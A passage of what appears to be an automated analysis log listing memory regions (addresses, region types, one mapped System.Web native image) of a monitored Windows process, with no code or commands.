"private_0x0000000000800000" filename = "" Region: id = 1021 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 1022 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 1023 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 1024 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 1025 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 1026 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 1027 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 1028 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 1029 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1030 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1031 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 1032 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 1033 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 1034 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 1035 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 1036 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 1037 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 1038 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 1039 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 1040 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 1041 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1042 start_va = 0x800000 end_va = 0x810fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000800000" filename = "" Region: id = 1043 start_va = 0x7ffa59030000 end_va = 0x7ffa59fe9fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.web.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\e0f1aa5ae849a43ee123d95e457efc03\\System.Web.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web\\e0f1aa5ae849a43ee123d95e457efc03\\system.web.ni.dll") Region: id = 1044 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 1045 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1046 start_va = 0x820000 end_va = 0x825fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000820000" filename = "" Region: id = 1047 start_va = 0x7ff9ff400000 end_va = 0x7ff9ff40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff400000" filename = "" Region: id = 1048 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1049 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1050 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1051 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 1052 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1053 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1054 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1055 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1056 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1057 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1058 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 1059 start_va = 0xa10000 end_va = 0xa1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 1060 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1061 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1062 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1063 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1064 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1065 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1066 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1067 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1068 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1069 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1070 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1071 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1072 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1073 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1074 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1075 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1076 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 1077 start_va = 0xa10000 end_va = 0xa1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 1078 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1079 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1080 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1081 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1082 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1083 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1084 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1085 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1086 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1087 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 1088 start_va = 0xa10000 end_va = 0xa1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 1089 start_va = 0xa20000 end_va = 0xa2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 1090 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1091 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1092 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1093 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1094 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1095 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 1096 start_va = 0xa10000 end_va = 0xa1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 1097 start_va = 0xa20000 end_va = 0xa2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 1098 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1099 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1100 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1101 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1102 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 1103 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1104 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1105 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1106 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1107 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1108 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1109 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1110 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1111 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1112 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1113 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1114 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1115 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 1116 start_va = 0xa10000 end_va = 0xa1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 1117 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1118 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1119 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1120 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1121 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1122 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1123 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1124 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1125 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1126 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1127 start_va = 0x830000 end_va = 0x834fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000830000" filename = "" Region: id = 1128 start_va = 0x7ff9ff410000 end_va = 0x7ff9ff41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff410000" filename = "" Region: id = 1129 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1130 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1131 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 1132 start_va = 0xa10000 end_va = 0xa1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 1133 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1134 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1135 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1136 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 1137 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1138 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1139 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1140 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 1141 start_va = 0xa10000 end_va = 0xa1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 1142 start_va = 0xa20000 end_va = 0xa2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 1143 start_va = 0xa30000 end_va = 0xa3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a30000" filename = "" Region: id = 1144 start_va = 0xa50000 end_va = 0xa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 1145 start_va = 0xa60000 end_va = 0xa6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 1146 start_va = 0xa70000 end_va = 0xa7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 1147 start_va = 0xa80000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 1148 start_va = 0xa90000 end_va = 0xa9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a90000" filename = "" Region: id = 1149 start_va = 0x7ff9ff420000 end_va = 0x7ff9ff45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff420000" filename = "" Region: id = 1150 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1151 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1152 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1153 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1154 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1155 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 1156 start_va = 0xa10000 end_va = 0xa1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 1157 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1158 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1159 start_va = 0x9e0000 end_va = 0x9e6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009e0000" filename = "" Region: id = 1160 start_va = 0x7ff9ff460000 end_va = 0x7ff9ff46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff460000" filename = "" Region: id = 1161 start_va = 0x1b710000 end_va = 0x1b80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b710000" filename = "" Region: id = 1162 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1163 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 1164 start_va = 0xa10000 end_va = 0xa1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 1165 start_va = 0xa20000 end_va = 0xa2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 1166 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1167 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1168 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 1169 start_va = 0xa10000 end_va = 0xa1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 1170 start_va = 0xa20000 end_va = 0xa2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 1171 start_va = 0xa30000 end_va = 0xa3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a30000" filename = "" Region: id = 1172 start_va = 0xa50000 end_va = 0xa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 1173 start_va = 0xa60000 end_va = 0xa6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 1174 start_va = 0xa70000 end_va = 0xa7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 1175 start_va = 0xa80000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 1176 start_va = 0xa90000 end_va = 0xa9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a90000" filename = "" Region: id = 1177 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1178 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1179 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1180 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 1181 start_va = 0xa10000 end_va = 0xa1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 1182 start_va = 0xa20000 end_va = 0xa2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 1183 start_va = 0xa30000 end_va = 0xa3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a30000" filename = "" Region: id = 1184 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1185 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1186 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1187 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 1188 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1189 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1190 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 1191 start_va = 0xa10000 end_va = 0xa1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 1192 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1193 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 1194 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1195 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 1196 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1197 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 1198 start_va = 0xa10000 end_va = 0xa1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 1199 start_va = 0xa20000 end_va = 0xa2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 1200 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1201 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 1202 start_va = 0xa10000 end_va = 0xa1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 1203 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1204 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1205 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 1206 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1207 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 1208 start_va = 0xa10000 end_va = 0xa1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 1209 start_va = 0xa20000 end_va = 0xa2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 1210 start_va = 0xa30000 end_va = 0xa3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a30000" filename = "" Region: id = 1211 start_va = 0xa50000 end_va = 0xa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 1212 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1213 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 1214 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1215 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 1216 start_va = 0xa10000 end_va = 0xa1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 1217 start_va = 0xa20000 end_va = 0xa2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 1218 start_va = 0xa30000 end_va = 0xa3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a30000" filename = "" Region: id = 1219 start_va = 0xa50000 end_va = 0xa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 1220 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1221 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1222 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = 